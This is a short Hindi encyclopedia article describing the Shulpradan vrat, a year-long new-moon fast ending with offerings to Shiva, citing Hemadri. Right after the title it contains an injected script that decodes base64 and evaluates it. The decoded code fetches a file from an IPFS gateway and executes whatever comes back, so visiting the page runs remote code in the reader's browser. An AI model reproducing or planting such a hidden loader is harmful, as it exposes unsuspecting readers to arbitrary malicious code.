शूलप्रदान व्रत  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • एक वर्ष तक सभी अमावास्याओं पर उपवास किया जाता है।
  • यह व्रत तिथिव्रत है।
  • वर्ष के अन्त में आटे से निर्मित त्रिशूल तथा सोने या चाँदी का कमल शिव को अर्पण और उसे अपने सिर पर रखना तथा दान दिया जाता है।
  • अहिंसा के नियमों का पालन ब्रह्मचर्य, भूमि शयन आदि का पालन किया जाता है।[१]

 

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 2, 252-253, शिवधर्मोत्तरपुराण से उद्धरण)।

अन्य संबंधित लिंक

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=शूलप्रदान_व्रत&oldid=141232" से लिया गया